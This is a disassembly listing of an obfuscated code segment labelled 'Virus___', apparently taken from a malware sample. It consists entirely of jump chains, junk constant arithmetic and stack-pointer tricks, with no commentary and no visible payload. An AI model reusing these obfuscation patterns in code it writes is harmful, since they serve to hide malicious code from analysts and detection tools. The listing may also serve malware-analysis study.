--------------------------------------------------------------------------- loc_55BBBB: ; CODE XREF: Virus___:0055907Ej add esp, 4 jmp loc_561BF6 ; --------------------------------------------------------------------------- loc_55BBC3: ; CODE XREF: Virus___:005640F2j push dword ptr [esp] pop ebx jmp loc_5547B1 ; --------------------------------------------------------------------------- loc_55BBCC: ; CODE XREF: Virus___:00551E21j pop ebp shl edi, 5 add edi, 0D225278h not edi sub edi, 747B2B47h push ebp jmp loc_55FE38 ; --------------------------------------------------------------------------- loc_55BBE4: ; CODE XREF: Virus___:00561858j mov eax, ebx pop ebx xor eax, 7D1B054Fh sub eax, 5A340EDFh jmp loc_562D51 ; --------------------------------------------------------------------------- loc_55BBF6: ; CODE XREF: Virus___:005559C1j sub esp, 4 mov [esp], eax mov eax, 16D14318h inc eax add eax, 3E70231Ch shl eax, 7 and eax, 37C6241Dh push edx jmp loc_5567A5 ; --------------------------------------------------------------------------- loc_55BC18: ; CODE XREF: Virus___:005528A3j mov [esp], edx mov edx, 7CF10DCEh jmp loc_5558E8 ; --------------------------------------------------------------------------- loc_55BC25: ; CODE XREF: Virus___:0055C2B2j xchg esi, [esp] mov esp, [esp] add esi, 2 xchg esi, [esp] jmp loc_562298 ; --------------------------------------------------------------------------- loc_55BC36: ; CODE XREF: Virus___:00562F0Fj or ebx, 21D82784h and ebx, 267317D4h add ebx, 1A1C4A8Fh or ebp, ebx jmp loc_562823 ; --------------------------------------------------------------------------- loc_55BC4F: ; CODE XREF: Virus___:0056047Dj push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_563C5D ; --------------------------------------------------------------------------- loc_55BC64: ; CODE XREF: Virus___:00556E85j xor al, bl push ecx jmp loc_55C46B ; --------------------------------------------------------------------------- loc_55BC6C: ; CODE XREF: Virus___:0055E95Dj xchg ebx, [esp] mov esp, [esp] pop small word ptr [esp] xor dx, cx jmp loc_55829E ; --------------------------------------------------------------------------- loc_55BC7E: ; CODE XREF: Virus___:005622C2j push eax mov eax, 4 add esi, 688300BFh jmp loc_564780 ; --------------------------------------------------------------------------- loc_55BC8F: ; CODE XREF: Virus___:00555EBAj mov ebp, 6B2A1A6Dh push edx mov edx, 69E97321h add ebp, 7CDD0E10h sub ebp, edx sub ebp, 7CDD0E10h jmp loc_5600AD ; --------------------------------------------------------------------------- loc_55BCAD: ; CODE XREF: Virus___:005569C1j push 514Fh mov [esp], edi mov edi, 4CAC2CF5h jmp loc_5528A8 ; --------------------------------------------------------------------------- loc_55BCBF: ; CODE XREF: Virus___:005579CDj mov bl, al pop eax jmp loc_5524E8 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_554138 ; --------------------------------------------------------------------------- loc_55BCD0: ; CODE XREF: Virus___:0055C44Aj pop ebx pop edx xchg eax, [esp] pop esp imul cx, ax push cx pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55BCE2: ; CODE XREF: Virus___:0054FC85j push esp jmp loc_55424A ; --------------------------------------------------------------------------- loc_55BCE8: ; CODE XREF: Virus___:00554983j pop edi jmp loc_55734E ; --------------------------------------------------------------------------- loc_55BCEE: ; CODE XREF: Virus___:0055E1C3j add ecx, eax pop eax pop edi add ebp, ecx pop ecx push eax mov eax, 4 sub ebp, 777A4C16h push 7FD1h jmp loc_559003 ; --------------------------------------------------------------------------- loc_55BD0B: ; CODE XREF: Virus___:00551A1Cj pop ebx mov bl, cl pop ecx mov dh, bl pop ebx jmp loc_5606C0 ; --------------------------------------------------------------------------- loc_55BD17: ; CODE XREF: Virus___:005611C2j add eax, 2C33491Eh shl eax, 2 and eax, 55E20BCAh xor eax, 0B2149FF5h xor edi, eax jmp loc_560501 ; --------------------------------------------------------------------------- loc_55BD30: ; CODE XREF: Virus___:005524B5j mov cl, 8Ah xchg dh, cl not dh xchg dh, cl shl cl, 5 shl cl, 3 add cl, 46h jmp loc_55833A ; --------------------------------------------------------------------------- loc_55BD46: ; CODE XREF: Virus___:0055A6C7j pop esp push esi mov esi, 4 sub ebp, 6C915CC4h sub ebp, 5C18733Eh add ebp, esi jmp loc_56071A ; --------------------------------------------------------------------------- loc_55BD60: ; CODE XREF: Virus___:0055CE1Fj add esi, 4 jmp loc_5643EE ; --------------------------------------------------------------------------- loc_55BD6B: ; CODE XREF: Virus___:0055E17Cj xor edx, [esp] xor [esp], edx jmp loc_556077 ; --------------------------------------------------------------------------- loc_55BD76: ; CODE XREF: Virus___:0056034Aj add ebp, 4 sub ebp, 4 jmp loc_556377 ; --------------------------------------------------------------------------- loc_55BD84: ; CODE XREF: Virus___:0055348Cj mov esi, [esp] add esp, 4 add ebx, ecx sub esp, 4 mov [esp], eax mov eax, 25B53B66h shr eax, 8 and eax, 7B6F5C56h sub eax, 76D832B5h shr eax, 4 xor eax, 25009D3Bh add ebx, eax pop eax mov ecx, [esp] jmp loc_55064C ; --------------------------------------------------------------------------- loc_55BDBA: ; CODE XREF: Virus___:0055DE37j xchg eax, [esp] pop esp mov [esp], ecx push edx mov edx, 2 mov ecx, edx pop edx jmp loc_5552A4 ; --------------------------------------------------------------------------- loc_55BDCF: ; CODE XREF: Virus___:0055C183j not esi xor esi, 99B73EFFh add ebp, esi pop esi or edi, ebp pop ebp neg edi sub esp, 4 mov [esp], edx mov edx, 6D9E5D27h xor edi, edx jmp loc_55A824 ; --------------------------------------------------------------------------- loc_55BDF4: ; CODE XREF: Virus___:0055FA93j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 49BAh mov [esp], eax push esi jmp loc_558461 ; --------------------------------------------------------------------------- loc_55BE0C: ; CODE XREF: Virus___:0055FBB2j shr bh, 7 jmp loc_5616A7 ; --------------------------------------------------------------------------- loc_55BE14: ; CODE XREF: Virus___:00558A79j add edi, ecx sub edi, 72DF4185h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push ebx mov ebx, 4 jmp loc_551B1F ; --------------------------------------------------------------------------- loc_55BE36: ; CODE XREF: Virus___:0055F1BFj mov [esp], ecx jmp loc_55974E ; --------------------------------------------------------------------------- loc_55BE3E: ; CODE XREF: Virus___:00564740j pop ebx add ebx, 4 jmp loc_553FD4 ; --------------------------------------------------------------------------- loc_55BE4A: ; CODE XREF: Virus___:0055A332j shl edi, 7 push 11F4h jmp loc_55CB71 ; --------------------------------------------------------------------------- loc_55BE57: ; CODE XREF: Virus___:0055808Aj xchg ebx, [esp] mov esp, [esp] push 21D2h jmp loc_55C490 ; --------------------------------------------------------------------------- loc_55BE67: ; CODE XREF: Virus___:0055028Bj pop ebp jmp loc_55E7EF ; --------------------------------------------------------------------------- loc_55BE6D: ; CODE XREF: Virus___:00558480j mov esi, [esp] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] pop eax push eax mov eax, esp push 0F49h mov [esp], ebx push eax mov eax, 4 jmp loc_551489 ; --------------------------------------------------------------------------- loc_55BE96: ; CODE XREF: Virus___:00560D68j dec edx sub edx, 991F19C0h mov esi, edx pop edx not esi sub esi, 1FAE6CD9h add esi, 199655A0h jmp loc_5526E6 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5506F6 ; --------------------------------------------------------------------------- loc_55BEBB: ; CODE XREF: Virus___:0055C1F9j pop ebp add ebx, 4 xchg ebx, [esp] jmp loc_55E6FE ; --------------------------------------------------------------------------- loc_55BEC7: ; CODE XREF: Virus___:00551F2Bj mov ebx, 28304356h add ebx, 5AC83E34h add ebx, 0D9F38FA1h mov ecx, ebx pop ebx jmp loc_55D83F ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_55AF5E ; --------------------------------------------------------------------------- loc_55BEE8: ; CODE XREF: Virus___:00554535j add ecx, 0CDB7344Bh push ecx pop esi pop ecx mov ebp, esi jmp loc_560A62 ; --------------------------------------------------------------------------- loc_55BEF8: ; CODE XREF: Virus___:005557E6j mov eax, [esp] add esp, 4 jmp loc_55039F ; --------------------------------------------------------------------------- loc_55BF03: ; CODE XREF: Virus___:0055AB91j push dword ptr [esp+4] mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_55A6F7 ; --------------------------------------------------------------------------- loc_55BF18: ; CODE XREF: Virus___:005610A3j push eax mov eax, 4F25ABDh neg eax dec eax xor eax, 2B85588Ah neg eax xor eax, 688B04B5h add ebp, eax pop eax jmp loc_5527CC ; --------------------------------------------------------------------------- loc_55BF35: ; CODE XREF: Virus___:0055D6C1j shl ch, 2 xor ch, 42h jmp loc_5580B4 ; --------------------------------------------------------------------------- loc_55BF40: ; CODE XREF: Virus___:00551A06j add esp, 4 pop ecx add eax, ebx mov ebx, [esp] add esp, 4 add ebx, 4DFE33E8h jmp loc_5577E8 ; --------------------------------------------------------------------------- loc_55BF5D: ; CODE XREF: Virus___:0055F0AFj xchg ebx, [esp] mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55BF68: ; CODE XREF: Virus___:0056308Dj push ax mov ah, 15h sub bl, ah mov ax, [esp] add esp, 2 jmp loc_562DA1 ; --------------------------------------------------------------------------- loc_55BF7D: ; CODE XREF: Virus___:005581ACj add esp, 4 movzx eax, al pop dword ptr [edi+eax*4] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55BF8B: ; CODE XREF: Virus___:00551422j push ebx jmp loc_557EB7 ; --------------------------------------------------------------------------- loc_55BF91: ; CODE XREF: Virus___:00557424j shr dl, 8 jmp loc_55E7DA ; --------------------------------------------------------------------------- loc_55BF99: ; CODE XREF: Virus___:00553882j add ecx, 72B96CB2h push dword ptr [esp] pop edx add esp, 4 push edx jmp loc_5593BE ; --------------------------------------------------------------------------- loc_55BFAC: ; CODE XREF: Virus___:00559B1Aj push edi mov edi, esp jmp loc_5563A8 ; --------------------------------------------------------------------------- loc_55BFB4: ; CODE XREF: Virus___:0056419Cj and ecx, ebp jmp loc_55066E ; --------------------------------------------------------------------------- loc_55BFBB: ; CODE XREF: Virus___:0055128Cj add esp, 4 xor edi, [esp] xor [esp], edi jmp loc_55DDBB ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_556A25 ; --------------------------------------------------------------------------- loc_55BFD7: ; CODE XREF: Virus___:0054F91Fj push edx jmp loc_5559DB ; --------------------------------------------------------------------------- loc_55BFDD: ; CODE XREF: Virus___:0055C2C7j add ebx, 4 jmp loc_55427C ; --------------------------------------------------------------------------- loc_55BFE5: ; CODE XREF: Virus___:0055FDF0j mov edx, 4 add esi, edx pop edx add esi, 4 xchg esi, [esp] jmp loc_55026E ; --------------------------------------------------------------------------- loc_55BFF8: ; CODE XREF: Virus___:0055EBFDj sub esp, 4 mov [esp], eax push edx mov dl, 11h mov ah, dl jmp loc_55F345 ; --------------------------------------------------------------------------- loc_55C008: ; CODE XREF: Virus___:0055EC59j pop edx jmp loc_561FC9 ; --------------------------------------------------------------------------- loc_55C00E: ; CODE XREF: Virus___:005548AEj pop esp jmp loc_55DFD2 ; --------------------------------------------------------------------------- loc_55C014: ; CODE XREF: Virus___:0055D30Cj pop edi sub ecx, ebx sub ecx, 6C98735Bh jmp loc_55472C ; --------------------------------------------------------------------------- loc_55C022: ; CODE XREF: Virus___:00560B76j add edx, 4 push 21D9h mov [esp], ebx mov ebx, 4 jmp loc_552867 ; --------------------------------------------------------------------------- loc_55C03A: ; CODE XREF: Virus___:00554277j pop ebx sub edx, ebx push ebp jmp loc_5526A9 ; --------------------------------------------------------------------------- loc_55C043: ; CODE XREF: Virus___:005541F3j push edi push 78CCh mov [esp], ebp pop edi jmp loc_554D3D ; --------------------------------------------------------------------------- loc_55C052: ; CODE XREF: Virus___:00555C78j add ebx, 4 jmp loc_550A3A ; --------------------------------------------------------------------------- loc_55C05D: ; CODE XREF: Virus___:0055AE6Bj xor eax, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] jmp loc_54FDBB ; --------------------------------------------------------------------------- loc_55C06D: ; CODE XREF: Virus___:00556F9Cj or edi, 228F3327h sub edi, 7DE039D2h sub edi, 22C828D1h sub edi, 61920988h add eax, edi pop edi push dword ptr [esp] jmp loc_54FD50 ; --------------------------------------------------------------------------- loc_55C090: ; CODE XREF: Virus___:00559AAAj add edi, ecx pop ecx sub edi, ebp sub edi, 7C1C7C89h push ebp mov ebp, 382513A4h add edi, ebp jmp loc_55D9F9 ; --------------------------------------------------------------------------- loc_55C0A8: ; CODE XREF: Virus___:0054FDD1j mov ecx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55C9DE ; --------------------------------------------------------------------------- loc_55C0C1: ; CODE XREF: Virus___:00561F47j push ebx mov bh, cl jmp loc_560B0D ; --------------------------------------------------------------------------- loc_55C0C9: ; CODE XREF: Virus___:00554396j add dword ptr [esp], 5D52B9Bh jmp loc_561A23 ; --------------------------------------------------------------------------- loc_55C0D5: ; CODE XREF: Virus___:0056481Cj mov [esp], edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 push esi mov esi, 4 add ecx, 67DE7F5Ch add ecx, esi sub ecx, 67DE7F5Ch pop esi xchg ecx, [esp] pop esp push 3976h mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 sub edi, 4 jmp loc_5545D6 ; --------------------------------------------------------------------------- lodsb add al, 0F9h jmp loc_562EBC ; --------------------------------------------------------------------------- loc_55C129: ; CODE XREF: Virus___:00563DD4j xchg ecx, [esp] pop esp mov ebp, edx pop edx xor ebp, 6B4807A1h push edx jmp loc_553426 ; --------------------------------------------------------------------------- loc_55C13C: ; CODE XREF: Virus___:005572FBj sub edi, ecx pop ecx jmp loc_55A97D ; --------------------------------------------------------------------------- loc_55C144: ; CODE XREF: Virus___:00552CDAj add ebx, eax pop eax sub ebx, 47B22F7h push ebp mov ebp, 53694A25h jmp loc_56000B ; --------------------------------------------------------------------------- loc_55C158: ; CODE XREF: Virus___:005581E2j push esi push 73D4h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_54FC76 ; --------------------------------------------------------------------------- loc_55C173: ; CODE XREF: Virus___:00556002j add dword ptr [esp+4], 535C1D54h jmp loc_556F6B ; --------------------------------------------------------------------------- loc_55C180: ; CODE XREF: Virus___:00552804j shr esi, 5 jmp loc_55BDCF ; --------------------------------------------------------------------------- loc_55C188: ; CODE XREF: Virus___:0055A6BFj dec eax sub eax, 2A741DD3h push edi mov edi, 0B4BC4603h add eax, edi mov edi, [esp] add esp, 4 xor ebx, eax pop eax mov edx, ebx pop ebx mov esi, edx pop edx sub ebp, esi push dword ptr [esp] pop esi add esp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_559723 ; --------------------------------------------------------------------------- loc_55C1BD: ; CODE XREF: Virus___:00563A39j add esi, 75583499h mov eax, [esp] add esp, 4 push 2CA0h mov [esp], edi jmp loc_560012 ; --------------------------------------------------------------------------- loc_55C1D6: ; CODE XREF: Virus___:00560814j add bl, cl sub bl, 3Dh sub bl, 87h jmp loc_55A4D6 ; --------------------------------------------------------------------------- loc_55C1E3: ; CODE XREF: Virus___:0055EA5Cj push ecx mov ecx, 2CF678DCh jmp loc_55EBF0 ; --------------------------------------------------------------------------- loc_55C1EE: ; CODE XREF: Virus___:00553B07j push ecx mov ecx, 4 mov ebp, ecx pop ecx add ebx, ebp jmp loc_55BEBB ; --------------------------------------------------------------------------- loc_55C1FE: ; CODE XREF: Virus___:00564A50j mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_5621E0 ; --------------------------------------------------------------------------- loc_55C20D: ; CODE XREF: Virus___:0055C7A7j mov [esp], ebx xor dword ptr [esp], 2D671487h pop edi xor edi, 2D671487h jmp loc_55D440 ; --------------------------------------------------------------------------- loc_55C223: ; CODE XREF: Virus___:005602E2j push 5544h mov [esp], ebx jmp loc_559DF8 ; --------------------------------------------------------------------------- loc_55C230: ; CODE XREF: Virus___:0055D4C9j xor esi, 4FAA0092h jmp loc_5500EF ; --------------------------------------------------------------------------- loc_55C23B: ; CODE XREF: Virus___:0055409Bj add ecx, eax sub ecx, 48644F23h push dword ptr [esp] pop eax add esp, 4 jmp loc_55C7DB ; --------------------------------------------------------------------------- loc_55C252: ; CODE XREF: Virus___:005600A8j xor ebp, 76280242h add ebp, 0F5B8D7CDh sub esi, 7AB47612h add esi, ebp add esi, 7AB47612h mov ebp, [esp] jmp loc_5602F7 ; --------------------------------------------------------------------------- loc_55C274: ; CODE XREF: Virus___:0055F1CEj mov esp, [esp] push ecx mov cl, 0D4h sub bl, cl pop ecx sub bl, 0D2h jmp loc_554120 ; --------------------------------------------------------------------------- loc_55C285: ; CODE XREF: Virus___:00560848j pop ebx jmp loc_56291A ; --------------------------------------------------------------------------- loc_55C28B: ; CODE XREF: Virus___:005513BDj xor edi, ebp pop ebp add edx, edi mov edi, [esp] add esp, 4 push eax push ebx mov ebx, 25186544h dec ebx jmp loc_553858 ; --------------------------------------------------------------------------- loc_55C2A6: ; CODE XREF: Virus___:0055DFA5j shr edi, 3 sub edi, 859C45Ch add esi, edi pop edi jmp loc_55BC25 ; --------------------------------------------------------------------------- loc_55C2B7: ; CODE XREF: Virus___:0054FE25j mov eax, 23BF2300h jmp loc_555B9B ; --------------------------------------------------------------------------- loc_55C2C1: ; CODE XREF: Virus___:00558BDEj add esp, 4 jmp loc_55BFDD ; --------------------------------------------------------------------------- loc_55C2CC: ; CODE XREF: Virus___:0055B569j add esp, 4 jmp loc_56011C ; --------------------------------------------------------------------------- loc_55C2D7: ; CODE XREF: Virus___:0055CE4Bj add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ebp mov ebp, 148F3E76h jmp loc_55CB06 ; --------------------------------------------------------------------------- loc_55C2F5: ; CODE XREF: Virus___:0055CE0Dj pop esp jmp loc_5581E7 ; --------------------------------------------------------------------------- loc_55C2FB: ; CODE XREF: Virus___:005561A3j pop ecx jmp loc_5581D1 ; --------------------------------------------------------------------------- loc_55C301: ; CODE XREF: Virus___:005500EAj neg ebx jmp loc_5560FE ; --------------------------------------------------------------------------- loc_55C308: ; CODE XREF: Virus___:005622F9j or eax, eax jnz loc_5532D4 push 1 push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_559B9D ; --------------------------------------------------------------------------- loc_55C321: ; CODE XREF: Virus___:005523DBj or bp, 75C3h jmp loc_55E601 ; --------------------------------------------------------------------------- loc_55C32B: ; CODE XREF: Virus___:0055618Dj sub esp, 4 jmp loc_560725 ; --------------------------------------------------------------------------- loc_55C333: ; CODE XREF: Virus___:0055BA27j push 7F38h mov [esp], eax mov al, dh dec al mov dh, al pop eax push ax mov al, 71h and dh, al pop ax add dh, 8Bh push ecx jmp loc_550BB0 ; --------------------------------------------------------------------------- loc_55C353: ; CODE XREF: Virus___:0055288Ej push esi mov esi, esp jmp loc_55FDEF ; --------------------------------------------------------------------------- loc_55C35B: ; CODE XREF: Virus___:005643E9j add cl, 0B8h and cl, 3Ch add cl, 3Ch xor cl, 7Eh xor dl, cl pop ecx sub dl, 0F5h or ah, dl pop edx push ecx mov cl, 12h add cl, 1 jmp loc_56132F ; --------------------------------------------------------------------------- loc_55C37B: ; CODE XREF: Virus___:00552099j push edx mov edx, 9FC00011h sub ecx, edx pop edx push eax mov eax, ecx jmp loc_56241B ; --------------------------------------------------------------------------- loc_55C38C: ; CODE XREF: Virus___:0055EE2Cj mov edi, 4EE73FBEh xor edi, ebx pop ebx push ecx mov ecx, 29271530h sub ecx, 40C2F970h sub edi, ecx jmp loc_554F71 ; --------------------------------------------------------------------------- loc_55C3A7: ; CODE XREF: Virus___:00564587j sub ebp, 6458398Ch sub ebp, 5F6D7488h add ebp, edx add ebp, 5F6D7488h jmp loc_54FADF ; --------------------------------------------------------------------------- loc_55C3C0: ; CODE XREF: Virus___:005592E3j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop edx or [edi+1Ch], ecx push dword ptr [esp] pop ecx add esp, 4 loc_55C3DE: ; CODE XREF: Virus___:00551330j push edi sub esp, 4 mov [esp], ebx jmp loc_556226 ; --------------------------------------------------------------------------- loc_55C3ED: ; CODE XREF: Virus___:00553171j add ecx, edx add ecx, 0BAE1DCFh jmp loc_562327 ; --------------------------------------------------------------------------- loc_55C3FA: ; CODE XREF: Virus___:0055740Ej mov eax, 2AA74390h or eax, 2FCF13BCh jmp loc_550D17 ; --------------------------------------------------------------------------- loc_55C409: ; CODE XREF: Virus___:0055F2CCj add esi, 280E5610h push dword ptr [esp] jmp loc_55D4CE ; --------------------------------------------------------------------------- loc_55C417: ; CODE XREF: Virus___:0055F0BBj mov ecx, 2 mov edx, ecx pop ecx sub eax, 3D6E1347h add eax, edx push ebx mov ebx, 5EF61751h and ebx, 11590203h not ebx sub ebx, 3D522C44h sub ebx, 69513890h neg ebx add ebx, 867AAC71h add eax, ebx jmp loc_55BCD0 ; --------------------------------------------------------------------------- loc_55C44F: ; CODE XREF: Virus___:0054FF87j push ecx jmp loc_55812D ; --------------------------------------------------------------------------- loc_55C455: ; CODE XREF: Virus___:0056382Cj xchg esi, [esp] pop esp not edi inc edi jmp loc_55BA2C ; --------------------------------------------------------------------------- loc_55C461: ; CODE XREF: Virus___:005537B9j push 1E4Dh jmp loc_563346 ; --------------------------------------------------------------------------- loc_55C46B: ; CODE XREF: Virus___:0055BC67j mov cl, 39h jmp loc_5519A9 ; --------------------------------------------------------------------------- loc_55C472: ; CODE XREF: Virus___:00555568j add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push ebp mov ebp, 12AE6CB1h sub esp, 4 mov [esp], ebx jmp loc_562DCA ; --------------------------------------------------------------------------- loc_55C490: ; CODE XREF: Virus___:0055BE62j mov [esp], ecx jmp loc_560D0D ; --------------------------------------------------------------------------- loc_55C498: ; CODE XREF: Virus___:0055626Fj mov eax, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_55F074 ; --------------------------------------------------------------------------- loc_55C4A6: ; CODE XREF: Virus___:0055A920j mov cl, 0D9h xor cl, 25h and cl, 2Eh push ebx mov bl, 8 and cl, bl jmp loc_551780 ; --------------------------------------------------------------------------- loc_55C4B8: ; CODE XREF: Virus___:005594EAj push esi mov esi, 444C3CC7h jmp loc_562B64 ; --------------------------------------------------------------------------- loc_55C4C3: ; CODE XREF: Virus___:005617B5j push ebx push edi jmp loc_558188 ; --------------------------------------------------------------------------- loc_55C4CA: ; CODE XREF: Virus___:00560C0Fj sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_550CD2 ; --------------------------------------------------------------------------- loc_55C4D9: ; CODE XREF: Virus___:00559FC5j pop esp loc_55C4DA: ; CODE XREF: Virus___:0055C9E1j push 5450h mov [esp], edx jmp loc_55A204 ; --------------------------------------------------------------------------- loc_55C4E7: ; CODE XREF: Virus___:00560A9Aj pop dword ptr [esp] mov esp, [esp] jmp loc_55FAFF ; --------------------------------------------------------------------------- loc_55C4F2: ; CODE XREF: Virus___:0055960Ej neg edx jmp loc_56157F ; --------------------------------------------------------------------------- loc_55C4F9: ; CODE XREF: Virus___:005597F5j add edx, 4 push ebx mov ebx, 4 add edx, ebx jmp loc_5569C6 ; --------------------------------------------------------------------------- loc_55C50C: ; CODE XREF: Virus___:00553700j pop ecx add esi, ebx pop ebx sub esi, 4 jmp loc_5553B7 ; --------------------------------------------------------------------------- loc_55C51B: ; CODE XREF: Virus___:00563FAEj add esp, 4 pop dword ptr [esp] pop esp mov [esp], esi push ebx mov ebx, 51A57C38h neg ebx xor ebx, 0CDF743F4h mov esi, ebx pop ebx add eax, esi push dword ptr [esp] jmp loc_556863 ; --------------------------------------------------------------------------- loc_55C543: ; CODE XREF: Virus___:0055E53Cj push eax mov eax, 529D7960h mov esi, eax jmp loc_55FCDA ; --------------------------------------------------------------------------- loc_55C550: ; CODE XREF: Virus___:0055983Ej sub ebx, esi jmp loc_555F2C ; --------------------------------------------------------------------------- loc_55C557: ; CODE XREF: Virus___:00551F33j pop ebx push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_5622C7 ; --------------------------------------------------------------------------- loc_55C569: ; CODE XREF: Virus___:0055A7A3j sub edi, 7E182C95h xor edx, edi mov edi, [esp] add esp, 4 push dword ptr [esp] jmp loc_55FD23 ; --------------------------------------------------------------------------- loc_55C582: ; CODE XREF: Virus___:0055A1FFj mov ecx, 18E65A7h shr ecx, 2 or ecx, 74E53202h add ecx, 364736C1h add ecx, 2DC91A06h jmp loc_54FEB6 ; --------------------------------------------------------------------------- loc_55C5A1: ; CODE XREF: Virus___:00561AC8j push eax jmp loc_55ADD2 ; --------------------------------------------------------------------------- loc_55C5A7: ; CODE XREF: Virus___:0055FF68j pop eax push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_55B60C ; --------------------------------------------------------------------------- loc_55C5B6: ; CODE XREF: Virus___:0055A33Dj pop ebp xor ebp, 0FFFFEFBFh jmp loc_55D5D7 ; --------------------------------------------------------------------------- loc_55C5C2: ; CODE XREF: Virus___:00557A78j mov [esp], ebx jmp loc_56473F ; --------------------------------------------------------------------------- loc_55C5CA: ; CODE XREF: Virus___:005529F3j pop edx jmp loc_55F58A ; --------------------------------------------------------------------------- loc_55C5D0: ; CODE XREF: Virus___:00552786j sub bl, 9 sub bl, 9Eh sub bl, al add bl, 9Eh add bl, 9 push dx jmp loc_564B08 ; --------------------------------------------------------------------------- loc_55C5E5: ; CODE XREF: Virus___:00552168j or ebp, ecx jmp loc_557913 ; --------------------------------------------------------------------------- loc_55C5EC: ; CODE XREF: Virus___:00552439j mov edx, esp jmp loc_556FAD ; --------------------------------------------------------------------------- loc_55C5F3: ; CODE XREF: Virus___:005514ECj pop ebx jmp loc_54FDCC ; --------------------------------------------------------------------------- loc_55C5F9: ; CODE XREF: Virus___:005506E0j add ebx, 7D11798Bh inc ebx jmp loc_550443 ; --------------------------------------------------------------------------- loc_55C605: ; CODE XREF: Virus___:00560CDFj push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_55E641 ; --------------------------------------------------------------------------- loc_55C61C: ; CODE XREF: Virus___:0055B1A4j and edx, 2B2F6B36h xor edx, 3FA43230h jmp loc_5567B2 ; --------------------------------------------------------------------------- loc_55C62D: ; CODE XREF: Virus___:00563DE4j push eax mov eax, 2 add ecx, 0D9D6560h sub ecx, eax sub ecx, 0D9D6560h mov eax, [esp] push 42ABh mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx push esi push eax push 678C4BBAh pop eax xor eax, 4D0461BDh jmp loc_551125 ; --------------------------------------------------------------------------- loc_55C66E: ; CODE XREF: Virus___:0055E825j push 3797h jmp loc_55E457 ; --------------------------------------------------------------------------- loc_55C678: ; CODE XREF: Virus___:00550801j mov ebx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] add [esp], al pushf jmp loc_55B607 ; --------------------------------------------------------------------------- loc_55C696: ; CODE XREF: Virus___:00555024j add edx, eax mov eax, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push esi mov esi, 2BAC4727h inc esi and esi, 681362FAh shr esi, 3 jmp loc_55003D ; --------------------------------------------------------------------------- loc_55C6B8: ; CODE XREF: Virus___:005584DDj push ebx mov bh, 0FBh shl bh, 6 xor bh, 0C5h not bh xor bh, 0A5h jmp loc_55BA01 ; --------------------------------------------------------------------------- loc_55C6CB: ; CODE XREF: Virus___:00563CEDj add eax, edx pop edx push eax jmp loc_560A8D ; --------------------------------------------------------------------------- loc_55C6D4: ; CODE XREF: Virus___:0056140Aj push eax mov al, 9Ch push ecx mov ch, 5 add ch, 0Eh not ch inc ch sub ch, 0C5h xor al, ch jmp loc_554AC4 ; --------------------------------------------------------------------------- loc_55C6EB: ; CODE XREF: Virus___:0055A350j mov ch, 62h push eax mov al, 0F3h xor ch, al push dword ptr [esp] jmp loc_5624B1 ; --------------------------------------------------------------------------- loc_55C6FA: ; CODE XREF: Virus___:0056077Aj mov edx, 72C70EF3h jmp loc_559BA7 ; --------------------------------------------------------------------------- loc_55C704: ; CODE XREF: Virus___:00557697j sub ecx, 747F6599h add ecx, ebx add ecx, 747F6599h pop ebx push esi mov esi, 2 add ecx, esi pop esi push 68C6h mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_55FA2F ; --------------------------------------------------------------------------- loc_55C73B: ; CODE XREF: Virus___:0056454Aj sub esp, 4 mov [esp], esp jmp loc_5644C3 ; --------------------------------------------------------------------------- loc_55C746: ; CODE XREF: Virus___:00553185j mov edi, esi pop esi xor ebx, edi pop edi jmp loc_555344 ; --------------------------------------------------------------------------- loc_55C751: ; CODE XREF: Virus___:00561701j mov esp, [esp] btr [esp], ax pushf jmp loc_55B3E0 ; --------------------------------------------------------------------------- loc_55C75F: ; CODE XREF: Virus___:0055FA4Aj push edx jmp loc_55963B ; --------------------------------------------------------------------------- loc_55C765: ; CODE XREF: Virus___:00564B03j add esi, ebx sub esi, 306829F9h push edx jmp loc_550DC6 ; --------------------------------------------------------------------------- loc_55C773: ; CODE XREF: Virus___:0056410Bj push ebx jmp loc_55AEF6 ; --------------------------------------------------------------------------- loc_55C779: ; CODE XREF: Virus___:00564475j pop edx mov ebp, edx pop edx pop ebx jmp loc_55AD8F ; --------------------------------------------------------------------------- loc_55C783: ; CODE XREF: Virus___:00554595j mov ebx, [esp] add esp, 4 or ebx, 72FB64E5h or ebx, 2EED039Fh add ebx, 2B37FACh xor ebx, 0E2EEC47Dh sub esp, 4 jmp loc_55C20D ; --------------------------------------------------------------------------- loc_55C7AC: ; CODE XREF: Virus___:00551337j pop esi add edi, eax add edi, 250C53C2h pop eax push edi jmp loc_55659B ; --------------------------------------------------------------------------- 